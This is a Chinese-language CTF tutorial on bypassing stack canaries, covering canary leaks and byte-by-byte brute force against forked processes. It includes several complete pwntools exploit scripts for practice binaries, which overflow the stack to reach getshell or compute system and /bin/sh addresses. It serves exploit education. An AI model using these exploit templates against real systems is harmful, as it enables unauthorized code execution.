Pwn专题(1.1)——绕过Stack Canaries的各种姿势
绕过canary的各种姿势
0x01 利用格式化字符串漏洞绕过canary
首先查看leak_canary程序开启的保护。可以发现程序开启了Canary和NX。

使用IDA进行静态分析,发现vuln函数为可疑函数。
vuln函数如下所示,read函数处存在栈溢出。

在函数名称栏里发现“getshell”函数,记录函数地址。

前面我们已经计算出buf的空间,后面紧跟的就是canary,所以我们只需要再填充12个字符,之后填充getshell的地址就可以了。
最后编写exp。
#版本一 from pwn import * p = process("./leak_canary") get_shell = 0x0804859B p.recvuntil("Hello Hacker!\n") offset = 0x70-0xC payload = (offset)*"a" + "b" p.send(payload) p.recvuntil("ab") #得到canary的值 canary = u32(p.recv(3).rjust(4,b"\x00")) payload2 =(offset)*b"a" + p32(canary) + b"b"*12 + p32(get_shell) # payload2= buf + canary + canary到返回地址的大小 + 返回地址 p.send(payload2) p.interactive() #版本二 from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF("./ex2").sym["getshell"] io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary)) # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) io.send(payload) io.recv() io.interactive()
0x02 one-by-one爆破canary
每次进程重启后Canary的值不同,但是同一进程中的不同线程Canary的值是相同的,并且通过fork函数创建的子进程Canary也是相同的,因为fork函数会直接拷贝父进程的内存。所以可以利用这个特点将Canary逐个字节爆破出来。
print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary #版本二 #爆破模板 log.info("---------------------------爆破canary-----------------------------------") canary = "x00" for x in xrange(3): for y in xrange(256): # 条件准备 r.send("a"*offset+canary+chr(y)) if 判断正确条件: # ……code…… else: canary = canary+chr(y) log.info('At round %d find canary byte %#x' %(x, y)) r.recv() break log.info("爆破出canary的值为%#x"%(u32(canary)))
查看程序开启的保护。

使用IDA进行静态分析,发现“fork”函数,可以考虑爆破。

sub_80487FA函数如下图所示,read函数存在栈溢出。

#coding:utf-8 from pwn import * r = process("pwn2") file = ELF("./pwn2") libc = ELF("./libc.so.6_x86") log.info("---------------------------条件准备-----------------------------------") print " puts_plt_addr:"+hex(file.plt['puts']) print " puts_got_addr:"+hex(file.got['puts']) r.recv() r.sendline("Y") r.recv() r.sendline("daddy") r.recv() r.send("a"*16+"x00") log.info("---------------------------爆破canary-----------------------------------") str1 = r.recv() true_len = 46 canary = "x00" for x in xrange(3): for y in xrange(256): r.sendline("Y") r.recv() r.sendline("daddy") r.recv() r.send("a"*16+canary+chr(y)) if "<unknown>" in r.recvuntil("[*] Do you love me?[Y]",drop=True): a=123 else: canary = canary+chr(y) log.info('At round %d find canary byte %#x' %(x, y)) r.recv() break log.info("爆破出canary的值为%#x"%(u32(canary))) log.info("---------------------------测试canary正确性-----------------------------------") r.sendline("Y") print r.recv() r.sendline("daddy") print r.recv() payload = "a"*16+canary+"a"*12+p32(file.plt['puts'])+"aaaa"+p32(0x0804833D) r.sendline(payload) print r.recv() #版本三 canary = '\x00' for i in xrange(3): for j in xrange(256): io.sendline('Y') io.recv() io.sendline('%19$p') #泄露栈上的libc地址 io.recvuntil('game ') leak_libc_addr = int(io.recv(10), 16) io.recv() payload = 'A'*16 #构造payload爆破canary payload += canary payload += chr(j) io.send(payload) io.recv() if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个" Do you love me?",因此通过第二个recv的结果判断是否成功 canary += chr(j) log.info('At round %d find canary byte %#x' %(i, j)) break log.info('Canary is %#x' %(u32(canary))) system_addr = leak_libc_addr - 0x2ed3b + 0x3b060 binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))